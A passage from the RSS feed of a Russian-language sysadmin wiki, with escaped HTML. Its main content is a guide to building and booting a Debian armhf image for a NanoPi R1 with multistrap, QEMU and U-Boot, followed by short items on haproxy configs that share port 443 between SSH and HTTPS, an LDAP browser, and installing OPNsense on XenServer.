Для создания системы я применю &lt;a href=&quot;https://wiki.debian.org/Multistrap&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.debian.org/Multistrap&quot; rel=&quot;ugc nofollow&quot;&gt;Multistrap&lt;/a&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u043b\u0438\u0432\u043a\u0430 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b debian&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u043b\u0438\u0432\u043a\u0430_\u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439_\u0441\u0438\u0441\u0442\u0435\u043c\u044b_debian&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:12,&amp;quot;secid&amp;quot;:14,&amp;quot;range&amp;quot;:&amp;quot;17569-17748&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit15&quot; id=&quot;debian-stableconf&quot;&gt;./debian-stable.conf&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Минимальный конфигурационный файлик &lt;strong&gt;Multistrap&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[General]
unpack=true
bootstrap=Debian
aptsources=Debian
#cleanup=true

[Debian]
packages=systemd libnss-systemd libpam-systemd dbus default-dbus-session-bus
source=http://ftp.ru.debian.org/debian
keyring=debian-archive-keyring
suite=stable&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;.\/debian-stable.conf&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;debian-stableconf&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:12,&amp;quot;secid&amp;quot;:15,&amp;quot;range&amp;quot;:&amp;quot;17749-18118&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit16&quot; id=&quot;заливаем_систему&quot;&gt;Заливаем систему&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Теперь на смонтированные разделы нашего файла-образа я залью минимальную систему &lt;strong&gt;debian&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo multistrap -a armhf -d ./debian-stable -f ./debian-stable.conf&lt;/pre&gt;

&lt;p&gt;
При попытке собрать файловую систему появляется ошибка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;E: The repository &amp;#039;http://ftp.ru.debian.org/debian buster InRelease&amp;#039; is not signed.  &lt;/pre&gt;

&lt;p&gt;
Причина в том, что в скрипте &lt;strong&gt;multistrap&lt;/strong&gt; некорректно устанавливается значение опции &lt;strong&gt;AllowUnauthenticated&lt;/strong&gt;. Описано тут: &lt;a href=&quot;https://github.com/volumio/Build/issues/348#issuecomment-462271607&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/volumio/Build/issues/348#issuecomment-462271607&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/volumio/Build/issues/348#issuecomment-462271607&lt;/a&gt; &lt;br/&gt;

Патчим &lt;strong&gt;multistrap&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo sed -i &amp;#039;s/Apt::Get::AllowUnauthenticated=true/Acquire::AllowInsecureRepositories=true/g&amp;#039;  /usr/sbin/multistrap&lt;/pre&gt;

&lt;p&gt;
и пробуем снова (в конфигурации должна быть опция &lt;strong&gt;keyring=debian-archive-keyring&lt;/strong&gt;, а &lt;strong&gt;noauth=true&lt;/strong&gt; быть не должно!):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo multistrap -a armhf -d ./debian-stable -f ./debian-stable.conf&lt;/pre&gt;

&lt;p&gt;
В результате всё получается и в директории &lt;strong&gt;./debian-stable&lt;/strong&gt; (куда смонтирован второй раздел файлика-образа) мы наблюдаем корневую файловую систему текущей стабильной версии &lt;strong&gt;Debian&lt;/strong&gt; для архитектуры &lt;strong&gt;armhf&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u043b\u0438\u0432\u0430\u0435\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0443&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u043b\u0438\u0432\u0430\u0435\u043c_\u0441\u0438\u0441\u0442\u0435\u043c\u0443&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:13,&amp;quot;secid&amp;quot;:16,&amp;quot;range&amp;quot;:&amp;quot;18119-19610&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit17&quot; id=&quot;первичная_конфигурация_пакетов&quot;&gt;Первичная конфигурация пакетов&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Запускать в &lt;strong&gt;chroot&lt;/strong&gt; исполняемые файлы для архитектуры &lt;strong&gt;arm&lt;/strong&gt; нам позволят ранее установленные в хостовой системе пакеты &lt;strong&gt;qemu-user-static&lt;/strong&gt;, &lt;strong&gt;binfmt-support&lt;/strong&gt; и &lt;strong&gt;dpkg-cross&lt;/strong&gt;. &lt;br/&gt;

Подключим &lt;strong&gt;/dev&lt;/strong&gt; (что необходимо для работы с &lt;strong&gt;/dev/null&lt;/strong&gt; и &lt;strong&gt;/dev/urandom&lt;/strong&gt;) и настроим пакеты:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mount -o bind /dev/ ./debian-stable/dev/
sudo LC_ALL=C LANGUAGE=C LANG=C DEBIAN_FRONTEND=noninteractive chroot debian-stable bash -c &amp;#039;echo &amp;quot;dash dash/sh boolean false&amp;quot; | debconf-set-selections &amp;amp;&amp;amp;  dpkg --configure -a&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Для настройки некоторых пакетов нужно задать пароль &lt;strong&gt;root&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chroot debian-stable/ passwd&lt;/pre&gt;

&lt;p&gt;
Теперь донастроим оставшиеся пакеты:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo LC_ALL=C LANGUAGE=C LANG=C DEBIAN_FRONTEND=noninteractive chroot debian-stable dpkg --configure -a&lt;/pre&gt;

&lt;p&gt;
Теперь скопируем ядро и &lt;strong&gt;dtb&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cp ./mainline_linux/arch/arm/boot/zImage ./debian-stable/boot/
sudo cp ./mainline_linux/arch/arm/boot/dts/sun8i-h3-nanopi-r1.dt* ./debian-stable/boot/&lt;/pre&gt;

&lt;p&gt;
Дальше нужно перенести в систему модули ядра, которые мы собрали раньше:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd ./mainline_linux
sudo PATH=/opt/FriendlyARM/toolchain/4.9.3/bin:$PATH make modules_install INSTALL_MOD_PATH=../debian-stable ARCH=arm CROSS_COMPILE=arm-linux-&lt;/pre&gt;

&lt;p&gt;
Теперь можно сделать файлик &lt;strong&gt;/etc/fstab&lt;/strong&gt;. Для этого - посмотрим UUID партиций и создадим &lt;strong&gt;/etc/fstab&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;blkid /dev/mapper/loop4p1
/dev/mapper/loop4p1: UUID=&amp;quot;85b026f4-afd7-4ecf-8679-dd0c87e628bb&amp;quot; TYPE=&amp;quot;ext2&amp;quot; PARTUUID=&amp;quot;f9c59bb5-1bde-441b-8e5a-9eeff8e77693&amp;quot;
blkid /dev/mapper/loop4p2
/dev/mapper/loop4p2: UUID=&amp;quot;683177df-8d27-4733-a490-c8e69fb0b525&amp;quot; TYPE=&amp;quot;ext4&amp;quot; PARTUUID=&amp;quot;9faf1102-5994-4226-ac73-adc6b6e4e043&amp;quot;&lt;/pre&gt;

&lt;p&gt;
В итоге &lt;strong&gt;/etc/fstab&lt;/strong&gt; будет такой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;UUID=683177df-8d27-4733-a490-c8e69fb0b525   /      ext4   defaults,discard,noatime,nodiratime   0   1
UUID=85b026f4-afd7-4ecf-8679-dd0c87e628     /boot  ext2   defaults,discard,noatime,nodiratime   0   1&lt;/pre&gt;

&lt;p&gt;
Заменим дефолтный target: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo rm -f ./debian-stable/etc/systemd/system/default.target
sudo ln -s /lib/systemd/system/multi-user.target ./debian-stable/etc/systemd/system/default.target&lt;/pre&gt;

&lt;p&gt;
И создадим симлинк для того, чтобы появилось устройство &lt;strong&gt;ttyS0&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ln -s /lib/systemd/system/getty@.service ./debian-stable/etc/systemd/system/getty.target.wants/getty@ttyS0.service&lt;/pre&gt;

&lt;p&gt;
Если этого не сделать - будут ошибки типа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[  *** ] A start job is running for /dev/ttyS0 (1min 29s / 1min 30s)
[ TIME ] Timed out waiting for device /dev/ttyS0.
[DEPEND] Dependency failed for Serial Getty on ttyS0.&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0432\u0438\u0447\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0432\u0438\u0447\u043d\u0430\u044f_\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f_\u043f\u0430\u043a\u0435\u0442\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:13,&amp;quot;secid&amp;quot;:17,&amp;quot;range&amp;quot;:&amp;quot;19611-22597&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit18&quot; id=&quot;отмонтируем_файл-образ_и_попробуем_запуститься&quot;&gt;Отмонтируем файл-образ и попробуем запуститься&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;cd ~
sudo umount ./debian-stable/boot
sudo umount ./debian-stable&lt;/pre&gt;

&lt;p&gt;
Удалим loop-устройства:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo kpartx -d ./debian-stable.img&lt;/pre&gt;

&lt;p&gt;
И попробуем запуститься с ядром &lt;strong&gt;mainline&lt;/strong&gt; и &lt;strong&gt;dtb&lt;/strong&gt; из поставки ядра от &lt;strong&gt;FriendlyARM&lt;/strong&gt;!
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;./qemu/arm-softmmu/qemu-system-arm -M orangepi-pc \
-nic user -nographic -kernel ./mainline_linux/arch/arm/boot/zImage  \
-append &amp;#039;console=ttyS0,115200 root=/dev/mmcblk0p2&amp;#039; \
-dtb ./linux/arch/arm/boot/dts/sun8i-h3-nanopi-r1.dtb \
-sd ./debian-stable.img&lt;/pre&gt;

&lt;p&gt;
В итоге - не смотря на некоторые ошибки с сервисами &lt;strong&gt;systemd&lt;/strong&gt;, система смогла загрузиться, а я смог в нее залогиниться с паролем, заданным на этапе создания образа.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0442\u043c\u043e\u043d\u0442\u0438\u0440\u0443\u0435\u043c \u0444\u0430\u0439\u043b-\u043e\u0431\u0440\u0430\u0437 \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c\u0441\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0442\u043c\u043e\u043d\u0442\u0438\u0440\u0443\u0435\u043c_\u0444\u0430\u0439\u043b-\u043e\u0431\u0440\u0430\u0437_\u0438_\u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c_\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c\u0441\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:13,&amp;quot;secid&amp;quot;:18,&amp;quot;range&amp;quot;:&amp;quot;22598-23541&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit19&quot; id=&quot;загрузка_системы_на_реальной_железке&quot;&gt;Загрузка системы на реальной железке&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Самым логичным способом, чтобы настройки загрузки на флехе соотвествовали настройкам U-Boot в железке, было бы взять образ флехи от производителя (например с ubuntu xenial), подмонтировать его и заменить файлик ядра и корневую файловую систему.&lt;br/&gt;

Я так и поступил. &lt;br/&gt;

&lt;br/&gt;

Но можно пойти трудным путем и пытаться сделать все вручную.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0436\u0435\u043b\u0435\u0437\u043a\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430_\u0441\u0438\u0441\u0442\u0435\u043c\u044b_\u043d\u0430_\u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439_\u0436\u0435\u043b\u0435\u0437\u043a\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:14,&amp;quot;secid&amp;quot;:19,&amp;quot;range&amp;quot;:&amp;quot;23542-24204&amp;quot;} --&gt;
&lt;h3 class=&quot;sectionedit20&quot; id=&quot;исследование_конфигурации_u-boot&quot;&gt;Исследование конфигурации U-Boot&lt;/h3&gt;
&lt;div class=&quot;level3&quot;&gt;

&lt;p&gt;
Судя по начальным сообщениям:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;DRAM: 1024 MiB(408MHz)
CPU Freq: 408MHz
memory test: 1
Pattern 55aa  Writing...Reading...OK
Trying to boot from MMC2
Boot device: emmc


U-Boot 2017.11 (Oct 18 2019 - 02:50:31 +0800) Allwinner Technology

CPU:   Allwinner H3 (SUN8I 1680)
Model: FriendlyElec NanoPi H3
DRAM:  1 GiB
CPU Freq: 1008MHz
MMC:   SUNXI SD/MMC: 1, SUNXI SD/MMC: 0
*** Warning - bad CRC, using default environment&lt;/pre&gt;

&lt;p&gt;
И судя по тому, что начинает загружаться предустановленная система - я что-то сделал не так. &lt;br/&gt;

Наверное надо взять официальный образ и посмотреть что внутри. &lt;br/&gt;

Кстати, в выводе &lt;strong&gt;printenv&lt;/strong&gt; некоторые особенности. Чтобы &lt;strong&gt;printenv&lt;/strong&gt; выводил длинные строки целиком необходимо в терминале включить &lt;strong&gt;wrapping&lt;/strong&gt; в minicom это можно сделать нажав &lt;strong&gt;Ctrl-A&lt;/strong&gt;, затем &lt;strong&gt;Z&lt;/strong&gt; и затем &lt;strong&gt;W&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;arch=arm
baudrate=115200
board=nanopi-r1
board_name=sunxi
boot_a_script=load ${devtype} ${devnum}:${distro_bootpart} ${scriptaddr} ${prefix}${script}; source ${scriptaddr}
boot_efi_binary=if fdt addr ${fdt_addr_r}; then bootefi bootmgr ${fdt_addr_r};else bootefi bootmgr ${fdtcontroladdr};fi;load ${devtype} ${devnum}:${distro_bootpart} ${kernel_addr_r} efi/booti
boot_extlinux=sysboot ${devtype} ${devnum}:${distro_bootpart} any ${scriptaddr} ${prefix}extlinux/extlinux.conf
boot_mmc=2
boot_net_usb_start=usb start
boot_prefixes=/ /boot/
boot_script_dhcp=boot.scr.uimg
boot_scripts=boot.scr.uimg boot.scr
boot_targets=fel mmc_auto usb0 pxe dhcp 
bootcmd=fatload mmc 0:1 ${scriptaddr} boot.scr; source ${scriptaddr}
bootcmd_dhcp=run boot_net_usb_start; if dhcp ${scriptaddr} ${boot_script_dhcp}; then source ${scriptaddr}; fi;setenv efi_fdtfile ${fdtfile}; if test -z &amp;quot;${fdtfile}&amp;quot; -a -n &amp;quot;${soc}&amp;quot;; then sete;
bootcmd_fel=if test -n ${fel_booted} &amp;amp;&amp;amp; test -n ${fel_scriptaddr}; then echo &amp;#039;(FEL boot)&amp;#039;; source ${fel_scriptaddr}; fi
bootcmd_mmc0=setenv devnum 0; run mmc_boot
bootcmd_mmc1=setenv devnum 1; run mmc_boot
bootcmd_mmc_auto=run bootcmd_mmc0
bootcmd_pxe=run boot_net_usb_start; dhcp; if pxe get; then pxe boot; fi
bootcmd_usb0=setenv devnum 0; run usb_boot
bootdelay=2
bootm_size=0xa000000
console=ttyS0,115200
cpu=h3
dfu_alt_info_ram=kernel ram 0x42000000 0x1000000;fdt ram 0x43000000 0x100000;ramdisk ram 0x43300000 0x4000000
distro_bootcmd=for target in ${boot_targets}; do run bootcmd_${target}; done
efi_dtb_prefixes=/ /dtb/ /dtb/current/
ethaddr=02:81:8a:99:42:c5
fdt_addr_r=0x43000000
fdtcontroladdr=7bf4fa48
fdtfile=sun8i-h3-nanopi-m1-plus.dtb
kernel_addr_r=0x42000000
load_efi_dtb=load ${devtype} ${devnum}:${distro_bootpart} ${fdt_addr_r} ${prefix}${efi_fdtfile}
mmc_boot=if mmc dev ${devnum}; then setenv devtype mmc; run scan_dev_for_boot_part; fi
mmc_bootdev=1
preboot=usb start
pxefile_addr_r=0x43200000
ramdisk_addr_r=0x43300000
scan_dev_for_boot=echo Scanning ${devtype} ${devnum}:${distro_bootpart}...; for prefix in ${boot_prefixes}; do run scan_dev_for_extlinux; run scan_dev_for_scripts; done;run scan_dev_for_efi;
scan_dev_for_boot_part=part list ${devtype} ${devnum} -bootable devplist; env exists devplist || setenv devplist 1; for distro_bootpart in ${devplist}; do if fstype ${devtype} ${devnum}:${die
scan_dev_for_efi=setenv efi_fdtfile ${fdtfile}; if test -z &amp;quot;${fdtfile}&amp;quot; -a -n &amp;quot;${soc}&amp;quot;; then setenv efi_fdtfile ${soc}-${board}${boardver}.dtb; fi; for prefix in ${efi_dtb_prefixes}; do if te
scan_dev_for_extlinux=if test -e ${devtype} ${devnum}:${distro_bootpart} ${prefix}extlinux/extlinux.conf; then echo Found ${prefix}extlinux/extlinux.conf; run boot_extlinux; echo SCRIPT FAILi
scan_dev_for_scripts=for script in ${boot_scripts}; do if test -e ${devtype} ${devnum}:${distro_bootpart} ${prefix}${script}; then echo Found U-Boot script ${prefix}${script}; run boot_a_scre
scriptaddr=0x43100000
serial#=02c000818a9942c5
soc=sunxi
stderr=serial
stdin=serial,usbkbd
stdout=serial
usb_boot=usb start; if usb dev ${devnum}; then setenv devtype usb; run scan_dev_for_boot_part; fi
wifi_mac_node=[2 c5 42 99 8a 81]&lt;/pre&gt;

&lt;p&gt;
Во-первых - &lt;strong&gt;DTB&lt;/strong&gt; не от &lt;strong&gt;nanopi-r1&lt;/strong&gt;, а &lt;strong&gt;sun8i-h3-nanopi-m1-plus.dtb&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 U-Boot&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435_\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438_u-boot&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:14,&amp;quot;secid&amp;quot;:20,&amp;quot;range&amp;quot;:&amp;quot;24205-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 17 Nov 2020 18:28:35 +0000</pubDate>
        </item>
        <item>
            <title>совсем-разные-сервисы-https-ssl-и-ssh-на-одном-порту</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%81%D0%BE%D0%B2%D1%81%D0%B5%D0%BC-%D1%80%D0%B0%D0%B7%D0%BD%D1%8B%D0%B5-%D1%81%D0%B5%D1%80%D0%B2%D0%B8%D1%81%D1%8B-https-ssl-%D0%B8-ssh-%D0%BD%D0%B0-%D0%BE%D0%B4%D0%BD%D0%BE%D0%BC-%D0%BF%D0%BE%D1%80%D1%82%D1%83</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Нужно запустить на одном порту 443 сервер &lt;strong&gt;SSH&lt;/strong&gt; и &lt;strong&gt;HTTPS SSL&lt;/strong&gt;. На первый взгляд - невозможно. Но на самом деле есть же прекрасный балансировщик &lt;strong&gt;haproxy&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-290&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;первый_вариант&quot;&gt;Первый вариант&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;strong&gt;Haproxy&lt;/strong&gt; позволяет проверить, является-ли полученный запрос &lt;strong&gt;SSL&lt;/strong&gt;-запросом или нет и есть нет, то отправляем его на сервер SSH. 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;defaults
  timeout connect 5s
  timeout client 50s
  timeout server 20s

listen ssl :443
  tcp-request inspect-delay 2s
  acl is_ssl req_ssl_ver 2:3.1
  tcp-request content accept if is_ssl
  use_backend ssh if !is_ssl
  server www-ssl :444
  timeout client 2h

backend ssh
  mode tcp
  server ssh :22
  timeout server 2h&lt;/pre&gt;

&lt;p&gt;
Тут строка &lt;strong&gt;acl is_ssl req_ssl_ver 2:3.1&lt;/strong&gt; проверяет запрос &lt;strong&gt;SSL&lt;/strong&gt; или нет. &lt;br/&gt;

а если не &lt;strong&gt;SSL&lt;/strong&gt;, то строка &lt;strong&gt;use_backend ssh if !is_ssl&lt;/strong&gt; отправляет на бекенд с &lt;strong&gt;SSH&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0432\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0432\u044b\u0439_\u0432\u0430\u0440\u0438\u0430\u043d\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;291-1131&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;второй_вариант&quot;&gt;Второй вариант&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Описан тут: &lt;a href=&quot;https://blog.chmd.fr/ssh-over-ssl-episode-4-a-haproxy-based-configuration.html&quot; class=&quot;urlextern&quot; title=&quot;https://blog.chmd.fr/ssh-over-ssl-episode-4-a-haproxy-based-configuration.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://blog.chmd.fr/ssh-over-ssl-episode-4-a-haproxy-based-configuration.html&lt;/a&gt; &lt;br/&gt;

В данном случае - на фронтэнде проверяется содержимое запроса клиента, и если он начинается с  &lt;strong&gt;SSH-2.0&lt;/strong&gt; (в hex-представлении - &lt;strong&gt;5353482d322e30&lt;/strong&gt;, конвертировать &lt;a href=&quot;https://codebeautify.org/string-hex-converter&quot; class=&quot;urlextern&quot; title=&quot;https://codebeautify.org/string-hex-converter&quot; rel=&quot;ugc nofollow&quot;&gt;ТУТ&lt;/a&gt; ), то сессия направляется на &lt;strong&gt;SSH&lt;/strong&gt;-сервер. 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;backend secure_http
    reqadd X-Forwarded-Proto:\ https
    rspadd Strict-Transport-Security:\ max-age=31536000
    mode http
    option httplog
    option forwardfor
    server local_http_server 127.0.0.1:80

backend ssh
    mode tcp
    option tcplog
    server ssh 127.0.0.1:22
    timeout server 2h

frontend ssl
    bind X.X.X.X:443 ssl crt /etc/ssl/private/certs.pem no-sslv3
    mode tcp
    option tcplog
    tcp-request inspect-delay 5s
    tcp-request content accept if HTTP

    acl client_attempts_ssh payload(0,7) -m bin 5353482d322e30

    use_backend ssh if !HTTP
    use_backend ssh if client_attempts_ssh
    use_backend secure_http if HTTP&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u0442\u043e\u0440\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u0442\u043e\u0440\u043e\u0439_\u0432\u0430\u0440\u0438\u0430\u043d\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1132-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>средства-администрирования-active-directory-из-linux</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%81%D1%80%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%B0-%D0%B0%D0%B4%D0%BC%D0%B8%D0%BD%D0%B8%D1%81%D1%82%D1%80%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F-active-directory-%D0%B8%D0%B7-linux</link>
            <description>
&lt;p&gt;
 LDAP browser - &lt;a href=&quot;http://directory.apache.org/studio/&quot; class=&quot;urlextern&quot; title=&quot;http://directory.apache.org/studio/&quot; rel=&quot;ugc nofollow&quot;&gt;Apache Directory Studio&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>ставим_opnsense_на_xenserver6.5</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%81%D1%82%D0%B0%D0%B2%D0%B8%D0%BC_opnsense_%D0%BD%D0%B0_xenserver6.5</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;ставим&quot;&gt;Ставим&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Создаем виртуалку FreeBSD (я сделал 2Gb RAM, 10Gb HDD, 2CPU, 2 network interfaces). Ставим из образа ISO.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0442\u0430\u0432\u0438\u043c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0442\u0430\u0432\u0438\u043c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-171&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;ставим_xentools&quot;&gt;Ставим xentools&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для начала включаем доступ ssh. 
В Web-интерфейсе &lt;strong&gt;System&lt;/strong&gt;→&lt;strong&gt;Settings&lt;/strong&gt;→&lt;strong&gt;AdminAccess&lt;/strong&gt; и ставим галочки напротив всех пунктов в &lt;strong&gt;SecureShell&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
Логинимся по ssh на хост (по-умолчанию root и пароль opnsense) и ставим 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pkg install xe-guest-utilities&lt;/pre&gt;

&lt;p&gt;
После установки отредактируем файл etc/rc.conf:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;vi /etc/rc.conf&lt;/pre&gt;

&lt;p&gt;
В этом файлике необходимо добавить вот такую строку: &lt;strong&gt;xenguest_enable=«YES»&lt;/strong&gt;
А потом перегрузить машину.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;reboot&lt;/pre&gt;

&lt;p&gt;
